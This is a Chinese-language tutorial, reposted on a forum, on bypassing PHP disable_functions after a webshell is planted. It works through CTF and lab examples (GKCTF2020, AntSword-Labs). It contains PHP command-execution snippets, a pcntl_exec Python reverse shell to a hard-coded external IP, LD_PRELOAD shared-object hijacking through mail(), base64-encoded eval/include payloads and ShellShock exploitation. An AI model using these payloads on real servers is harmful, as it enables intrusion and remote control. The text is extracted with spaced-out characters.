搜索

[18543] 2021-03-25_干货绕过Disable_functions的姿势总结

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-03-25_干货绕过Disable_functions的姿势总结 干 货   |   绕 过   D i s a b l e _ f u n c t i o n s   的 姿 势 总 结 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 3 - 2 5 前 言 前 言 我 们 经 过 千 辛 万 苦 拿 到 的   W e b s h e l l   居 然 t m d 无 法 执 行 系 统 命 令 ： i m a g e - 2 0 2 1 0 2 0 9 1 4 2 8 5 9 4 9 6 多 半 是 d i s a b l e _ f u n c t i o n s 惹 的 祸 。 查 看 p h p i n f o 发 现 确 实 设 置 了 d i s a b l e _ f u n c t i o n s ： i m a g e - 2 0 2 1 0 2 0 9 1 4 3 2 4 6 0 1 6 千 辛 万 苦 拿 到 的 S h e l l 却 变 成 了 一 个 空 壳 ， 你 甘 心 吗 ？ 本 篇 文 章 ， 我 从 网 上 收 集 并 整 合 了 几 种 常 见 的 绕 过 d i s a b l e _ f u n c t i o n s 的 方 法 ， 通 过 原 理 介 绍 并 结 合 典 型 的 C T F 题 目 来 分 享 给 大 家 ， 请 大 伙 尽 情 享 用 。 D i s a b l e   F u n c t i o n s 为 了 安 全 起 见 ， 很 多 运 维 人 员 会 禁 用 P H P 的 一 些 “ 危 险 ” 函 数 ， 例 如 e v a l 、 e x e c 、 s y s t e m 等 ， 将 其 写 在 p h p . i n i 配 置 文 件 中 ， 就 是 我 们 所 说 的 d i s a b l e _ f u n c t i o n s 了 ， 特 别 是 虚 拟 主 机 运 营 商 ， 为 了 彻 底 隔 离 同 服 务 器 的 客 户 ， 以 及 避 免 出 现 大 面 积 的 安 全 问 题 ， 在 d i s a b l e _ f u n c t i o n s 的 设 置 中 也 通 常 较 为 严 格 。 如 果 在 渗 透 时 ， 上 传 了 w e b s h e l l 却 因 为 d i s a b l e _ f u n c t i o n s 禁 用 了 我 们 函 数 而 无 法 执 行 命 令 的 话 ， 这 时 候 就 需 要 想 办 法 进 行 绕 过 ，
突 破 d i s a b l e _ f u n c t i o n s 。 常 规 绕 过 （ 黑 名 单 绕 过 ） 常 规 绕 过 （ 黑 名 单 绕 过 ） 即 便 是 通 过 d i s a b l e   f u n c t i o n s 限 制 危 险 函 数 ， 也 可 能 会 有 限 制 不 全 的 情 况 。 如 果 运 维 人 员 安 全 意 识 不 强 或 对 P H P 不 甚 了 解 的 话 ， 则 很 有 可 能 忽 略 某 些 危 险 函 数 ， 常 见 的 有 以 下 几 种 。 • e x e c ( ) • s h e l l _ e x e c ( ) • s y s t e m ( ) • p a s s t h r u ( ) • p o p e n ( ) • p r o c _ o p e n ( ) 还 有 一 个 比 较 常 见 的 易 被 忽 略 的 函 数 就 是 p c n t l _ e x e c 。 < ? p h p e c h o   e x e c ( ' w h o a m i ' ) ; ? > < ? p h p e c h o   s h e l l _ e x e c ( ' w h o a m i ' ) ; ? > < ? p h p s y s t e m ( ' w h o a m i ' ) ; ? > < ? p h p p a s s t h r u ( " w h o a m i " ) ; ? > < ? p h p $ c o m m a n d = $ _ P O S T [ ' c m d ' ] ; $ h a n d l e   =   p o p e n ( $ c o m m a n d , " r " ) ; w h i l e ( ! f e o f ( $ h a n d l e ) ) {                         e c h o   f r e a d ( $ h a n d l e ,   1 0 2 4 ) ;     / / f r e a d ( $ h a n d l e ,   1 0 2 4 ) ; }     p c l o s e ( $ h a n d l e ) ; ? > < ? p h p $ c o m m a n d = " i p c o n f i g " ; $ d e s c r i p t o r s p e c   =   a r r a y ( 1   = >   a r r a y ( " p i p e " ,   " w " ) ) ; $ h a n d l e   =   p r o c _ o p e n ( $ c o m m a n d   , $ d e s c r i p t o r s p e c   ,   $ p i p e s ) ; w h i l e ( ! f e o f ( $ p i p e s [ 1 ] ) ) {                   e c h o   f r e a d ( $ p i p e s [ 1 ] ,   1 0 2 4 ) ;   / / f g e t s ( $ p i p e s [ 1 ] , 1 0 2 4 ) ; } ? >
利 用 利 用   p c n t l _ e x e c 使 用 条 件 ： 使 用 条 件 ： • P H P 安 装 并 启 用 了 p c n t l 插 件 p c n t l 是 l i n u x 下 的 一 个 扩 展 ， 可 以 支 持 p h p 的 多 线 程 操 作 。 很 多 时 候 会 碰 到 禁 用 e x e c 函 数 的 情 况 ， 但 如 果 运 维 人 员 安 全 意 识 不 强 或 对 P H P 不 甚 了 解 ， 则 很 有 可 能 忽 略 p c n t l 扩 展 的 相 关 函 数 。 p c n t l _ e x e c ( ) 是 p c n t l 插 件 专 有 的 命 令 执 行 函 数 来 执 行 系 统 命 令 函 数 ， 可 以 在 当 前 进 程 空 间 执 行 指 定 的 程 序 。 利 用 p c n t l _ e x e c ( ) 执 行 t e s t . s h ： 由 于 p c n t l _ e x e c ( ) 执 行 命 令 是 没 有 回 显 的 ， 所 以 其 常 与 p y t h o n 结 合 来 反 弹 s h e l l ： [ 第 四 届 “ 蓝 帽 杯 ” 决 赛 ] p h p   这 道 题 利 用 的 就 是 这 个 点 。 利 用 利 用   L D _ P R E L O A D   环 境 变 量 环 境 变 量 原 理 简 述 原 理 简 述 L D _ P R E L O A D 是 L i n u x 系 统 的 一 个 环 境 变 量 ， 它 可 以 影 响 程 序 的 运 行 时 的 链 接 （ R u n t i m e   l i n k e r ） ， 它 允 许 你 定 义 在 程 序 运 行 前 优 先 加 载 的 动 态 链 接 库 。 这 个 功 能 主 要 就 是 用 来 有 选 择 性 的 载 入 不 同 动 态 链 接 库 中 的 相 同 函 数 。 通 过 这 个 环 境 变 量 ， 我 们 可 以 在 主 程 序 和 其 动 态 链 接 库 的 中 间 加 载 别 的 动 态 链 接 库 ， 甚 至 覆 盖 正 常 的 函 数 库 。 一 方 面 ， 我 们 可 以 以 此 功 能 来 使 用 自 己 的 或 是 更 好 的 函 数 （ 无 需 别 人 的 源 码 ） ， 而 另 一 方 面 ， 我 们 也 可 以 以 向 别 人 的 程 序 注 入 程 序 ， 从 而 达 到 特 定 的 攻 击 目 的 。 我 们 通 过 环 境 变 量   L D _ P R E L O A D   劫 持 系 统 函 数 ， 可 以 达 到 不 调 用   P H P   的 各 种 命 令 执 行 函 数 （ s y s t e m ( ) 、 e x e c ( )   等 等 ） 仍 可 执 行 系 统 命 令 的 目 的 。 想 要 利 用 L D _ P R E L O A D 环 境 变 量 绕 过 d i s a b l e _ f u n c t i o n s 需 要 注 意 以 下 几 点 ： • 能 够 上 传 自 己 的 . s o 文 件 • 能 够 控 制 L D _ P R E L O A D 环 境 变 量 的 值 ， 比 如 p u t e n v ( ) 函 数 • 因 为 新 进 程 启 动 将 加 载 L D _ P R E L O A D 中 的 . s o 文 件 ， 所 以 要 存 在 可 以 控 制 P H P 启 动 外 部 程 序 的 函 数 并 能 执 行 ， 比 如 m a i l ( ) 、 i m a p _ m a i l ( ) 、 m b _ s e n d _ m a i l ( ) 和 e r r o r _ l o g ( ) 函 数 等 一 般 而 言 ， 利 用 漏 洞 控 制   w e b   启 动 新 进 程   a . b i n （ 即 便 进 程 名 无 法 让 我 随 意 指 定 ） ， 新 进 程   a . b i n   内 部 调 用 系 统 函 数   b ( ) ， b ( ) 位 于   系 统 共 享 对 象   c . s o   中 ， 所 以 系 统 为 该 进 程 加 载 共 享 对 象   c . s o ， 想 办 法 在 加 载   c . s o   前 优 先 加 载 可 控 的   c _ e v i l . s o ， c _ e v i l . s o 内 含 与   b ( )   同 名 的 恶 意 函 数 ， 由 于   c _ e v i l . s o   优 先 级 较 高 ， 所 以 ， a . b i n   将 调 用 到   c _ e v i l . s o   内 的 b ( )   而 非 系 统 的   c . s o   内   b ( ) ， 同 时 ， c _ e v i l . s o   可 控 ， 达 到 执 行 恶 意 代 码 的 目 的 。 基 于 这 一 思 路 ， 常 见 突 破   d i s a b l e _ f u n c t i o n s   限 制 执 行 操 作 系 统 命 令 的 方 式 为 ： < ? p h p i f ( f u n c t i o n _ e x i s t s ( ' p c n t l _ e x e c ' ) )   {       p c n t l _ e x e c ( " / b i n / b a s h " ,   a r r a y ( " / t m p / t e s t . s h " ) ) ; }   e l s e   {               e c h o   ' p c n t l   e x t e n s i o n   i s   n o t   s u p p o r t ! ' ; } ? > < ? p h p   p c n t l _ e x e c ( " / u s r / b i n / p y t h o n " , a r r a y ( ' - c ' , ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M , s o c k e t . S O L _ T C P ) ; s . c o n n e c t ( ( " 1 3 2 . 2 3 2 . 7 5 . 9 0 " , 9 8 9 8 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / b a s h " , " - i " ] ) ; '
• 编 写 一 个 原 型 为   u i d _ t   g e t u i d ( v o i d ) ;   的   C   函 数 ， 内 部 执 行 攻 击 者 指 定 的 代 码 ， 并 编 译 成 共 享 对 象   g e t u i d _ s h a d o w . s o ； • 运 行   P H P   函 数   p u t e n v ( ) （ 用 来 配 置 系 统 环 境 变 量 ） ， 设 定 环 境 变 量   L D _ P R E L O A D   为   g e t u i d _ s h a d o w . s o ， 以 便 后 续 启 动 新 进 程 时 优 先 加 载 该 共 享 对 象 ； • 运 行   P H P   的   m a i l ( )   函 数 ， m a i l ( )   内 部 启 动 新 进 程   / u s r / s b i n / s e n d m a i l ， 由 于 上 一 步   L D _ P R E L O A D   的 作 用 ， s e n d m a i l   调 用 的 系 统 函 数 g e t u i d ( )   被 优 先 级 更 好 的   g e t u i d _ s h a d o w . s o   中 的 同 名   g e t u i d ( )   所 劫 持 ； • 达 到 不 调 用   P H P   的   各 种   命 令 执 行 函 数 （ s y s t e m ( ) 、 e x e c ( )   等 等 ） 仍 可 执 行 系 统 命 令 的 目 的 。 之 所 以 劫 持   g e t u i d ( ) ， 是 因 为   s e n d m a i l   程 序 会 调 用 该 函 数 （ 当 然 也 可 以 为 其 他 被 调 用 的 系 统 函 数 ） ， 在 真 实 环 境 中 ， 存 在 两 方 面 问 题 ： • 一 是 ， 某 些 环 境 中 ， w e b   禁 止 启 用   s e n d m a i l 、 甚 至 系 统 上 根 本 未 安 装   s e n d m a i l ， 也 就 谈 不 上 劫 持   g e t u i d ( ) ， 通 常 的   w w w - d a t a   权 限 又 不 可 能 去 更 改   p h p . i n i   配 置 、 去 安 装   s e n d m a i l   软 件 ； • 二 是 ， 即 便 目 标 可 以 启 用   s e n d m a i l ， 由 于 未 将 主 机 名 （ h o s t n a m e   输 出 ） 添 加 进   h o s t s   中 ， 导 致 每 次 运 行   s e n d m a i l   都 要 耗 时 半 分 钟 等 待 域 名 解 析 超 时 返 回 ， w w w - d a t a   也 无 法 将 主 机 名 加 入   h o s t s （ 如 ， 1 2 7 . 0 . 0 . 1   l a m p 、 l a m p . 、 l a m p . c o m ） 。 基 于 这 两 个 原 因 ， y a n g y a n g w i t h g n u   大 佬 找 到 了 一 个 方 式 ， 在 加 载 时 就 执 行 代 码 （ 拦 劫 启 动 进 程 ） ， 而 不 用 考 虑 劫 持 某 一 系 统 函 数 ， 那 我 就 完 全 可 以 不 依 赖   s e n d m a i l   了 ， 详 情 参 见 ： h t t p s : / / g i t h u b . c o m / y a n g y a n g w i t h g n u / b y p a s s _ d i s a b l e f u n c _ v i a _ L D _ P R E L O A D 利 用 方 法 利 用 方 法 下 面 ， 我 们 通 过   [ G K C T F 2 0 2 0 ] C h e c k I N   这 道 题 来 演 示 利 用 L D _ P R E L O A D 来 突 破 d i s a b l e _ f u n c t i o n s 的 具 体 方 法 。 i m a g e - 2 0 2 1 0 2 0 9 1 6 0 4 0 9 3 0 0 构 造 如 下 拿 到 s h e l l ： / ? G i n k g o = Z X Z h b C g k X 1 B P U 1 R b d 2 h v Y W 1 p X S k 7 #   即 e v a l ( $ _ P O S T [ w h o a m i ] ) ;
i m a g e - 2 0 2 1 0 2 0 9 1 6 0 8 5 5 7 5 4 但 是 无 法 执 行 命 令 ： i m a g e - 2 0 2 1 0 2 0 9 1 6 1 2 3 1 3 4 6 怀 疑 是 设 置 了 d i s a b l e _ f u n c t i o n s ， 查 看 p h p i n f o ：
发 现 确 实 设 置 了 d i s a b l e _ f u n c t i o n s ： i m a g e - 2 0 2 1 0 2 0 9 1 6 1 0 5 6 3 5 6 下 面 尝 试 绕 过 。 需 要 去 y a n g y a n g w i t h g n u   大 佬 的 g i t h u b 上 下 载 该 项 目 的 利 用 文 件 ： h t t p s : / / g i t h u b . c o m / y a n g y a n g w i t h g n u / b y p a s s _ d i s a b l e f u n c _ v i a _ L D _ P R E L O A D 本 项 目 中 有 这 几 个 关 键 文 件 ： i m a g e - 2 0 2 1 0 2 0 9 1 6 1 8 5 2 1 1 4 • b y p a s s _ d i s a b l e f u n c . p h p ： 一 个 用 来 执 行 命 令 的   w e b s h e l l 。 • b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o 或 b y p a s s _ d i s a b l e f u n c _ x 8 6 . s o ： 执 行 命 令 的 共 享 对 象 文 件 ， 分 为 6 4 位 的 和 3 2 位 的 。 • b y p a s s _ d i s a b l e f u n c . c ： 用 来 编 译 生 成 上 面 的 共 享 对 象 文 件 。 对 于 b y p a s s _ d i s a b l e f u n c . p h p ， 权 限 上 传 到 w e b 目 录 的 直 接 访 问 ， 无 权 限 的 话 可 以 传 到 t m p 目 录 后 用 i n c l u d e 等 函 数 来 包 含 ， 并 且 需 要 用   G E T   方 法 提 供 三 个 参 数 ： • c m d   参 数 ： 待 执 行 的 系 统 命 令 ， 如   i d   命 令 。 • o u t p a t h   参 数 ： 保 存 命 令 执 行 输 出 结 果 的 文 件 路 径 （ 如   / t m p / x x ） ， 便 于 在 页 面 上 显 示 ， 另 外 该 参 数 ， 你 应 注 意   w e b   是 否 有 读 写 权 限 、 w e b   是 否 可 跨 目 录 访 问 、 文 件 将 被 覆 盖 和 删 除 等 几 点 。 • s o p a t h   参 数 ： 指 定 劫 持 系 统 函 数 的 共 享 对 象 的 绝 对 路 径 （ 如   / v a r / w w w / b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o ） ， 另 外 关 于 该 参 数 ， 你 应 注 意   w e b   是 否 可 跨 目 录 访 问 到 它 。 首 先 ， 想 办 法 将   b y p a s s _ d i s a b l e f u n c . p h p   和   b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o   传 到 目 标 有 权 限 的 目 录 中 ： / ? G i n k g o = c G h w a W 5 m b y g p O w = = #   即 p h p i n f o ( ) ;
i m a g e - 2 0 2 1 0 2 0 9 1 6 2 0 4 0 5 3 0 然 后 将 b y p a s s _ d i s a b l e f u n c . p h p 包 含 进 来 并 使 用 G E T 方 法 提 供 所 需 的 三 个 参 数 ： 如 下 所 示 ， 成 功 执 行 命 令 ： i m a g e - 2 0 2 1 0 2 0 9 1 6 2 8 0 9 3 0 7 / ? G i n k g o = a W 5 j b H V k Z S g i L 3 Z h c i 9 0 b X A v Y n l w Y X N z X 2 R p c 2 F i b G V m d W 5 j L n B o c C I p O w = = & c m d = i d & o u t p a t h = / t m p / o u t f i l e 1 2 3 & s o p a t h #   i n c l u d e ( " / v a r / t m p / b y p a s s _ d i s a b l e f u n c . p h p " ) ;
成 功 执 行 / r e a d f l a g 并 得 到 了 f l a g ： i m a g e - 2 0 2 1 0 2 0 9 1 6 2 5 4 9 5 3 7 在 蚁 剑 中 有 该 绕 过 d i s a b l e _ f u n c t i o n s 的 插 件 ： i m a g e - 2 0 2 1 0 2 0 9 1 9 5 8 1 0 3 8 7 我 们 选 择     模 式 并 点 击 开 始 按 钮 ， 成 功 后 蚁 剑 会 在   L D _ P R E L O A D / v a r / w w w / h t m l
  目 录 里 上 传 一 个     文 件 。 我 们 创 建 副 本 ,   并 将 连 接 的   U R L   s h e l l   脚 本 名 字 改 为   获 得 一 个 新 的 s h e l l ， 在 这 个 新 s h e l l 里 面 就 可 以 成 功 执 行 命 令 了 。 利 用 利 用   S h e l l S h o c k （ （ C V E - 2 0 1 4 - 6 2 7 1 ） ） 使 用 条 件 ： 使 用 条 件 ： • L i n u x   操 作 系 统 • 、   或     函 数 可 用 • 目 标 系 统 的     存 在     漏 洞 •   s h   默 认 的   s h e l l   是   b a s h 原 理 简 述 原 理 简 述 该 方 法 利 用 的 b a s h 中 的 一 个 老 漏 洞 ， 即 B a s h   S h e l l s h o c k   破 壳 漏 洞 （ C V E - 2 0 1 4 - 6 2 7 1 ） 。 该 漏 洞 的 原 因 是 B a s h 使 用 的 环 境 变 量 是 通 过 函 数 名 称 来 调 用 的 ， 导 致 该 漏 洞 出 现 是 以     开 头 定 义 的 环 境 变 量 在 命 令   E N V   中 解 析 成 函 数 后 ， B a s h 执 行 并 未 退 出 ， 而 是 继 续 解 析 并 执 行 s h e l l 命 令 。 而 其 核 心 的 原 因 在 于 在 输 入 的 过 滤 中 没 有 严 格 限 制 边 界 ， 也 没 有 做 出 合 法 化 的 参 数 判 断 。 一 般 函 数 体 内 的 代 码 不 会 被 执 行 ， 但 破 壳 漏 洞 会 错 误 的 将 " { } " 花 括 号 外 的 命 令 进 行 执 行 。 P H P 里 的 某 些 函 数 （ 例 如 ： m a i l ( ) 、 i m a p _ m a i l ( ) ） 能 调 用 p o p e n 或 其 他 能 够 派 生 b a s h 子 进 程 的 函 数 ， 可 以 通 过 这 些 函 数 来 触 发 破 壳 漏 洞 ( C V E - 2 0 1 4 - 6 2 7 1 ) 执 行 命 令 。 利 用 方 法 利 用 方 法 我 们 利 用   A n t S w o r d - L a b s   项 目 来 搭 建 环 境 ： 搭 建 完 成 后 访 问   h t t p : / / y o u r - i p : 1 8 0 8 0 ， 尝 试 使 用 s y s t e m 函 数 执 行 命 令 失 败 ： . a n t p r o x y . p h p . a n t p r o x y . p h p p u t e n v ( ) m a i l ( ) e r r o r _ l o g ( ) / b i n / b a s h C V E - 2 0 1 4 - 6 2 7 1 / b i n / s h   - >   / b i n / b a s h ( ) { g i t   c l o n e   h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L a b s . g i t c d   A n t S w o r d - L a b s / b y p a s s _ d i s a b l e _ f u n c t i o n s / 2 d o c k e r - c o m p o s e   u p   - d
i m a g e - 2 0 2 1 0 2 1 0 1 2 2 3 0 6 4 9 7 查 看 p h p i n f o 发 现 设 置 了 d i s a b l e _ f u n c t i o n s ： i m a g e - 2 0 2 1 0 2 1 0 1 2 2 4 1 1 1 4 9 我 们 使 用 蚁 剑 拿 下 s h e l l ： i m a g e - 2 0 2 1 0 2 1 0 1 2 2 2 1 5 3 7 6 A n t S w o r d   虚 拟 终 端 中 已 经 集 成 了 对   S h e l l S h o c k   的 利 用 ， 直 接 在 虚 拟 终 端 执 行 命 令 即 可 绕 过 d i s a b l e _ f u n c t i o n s ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理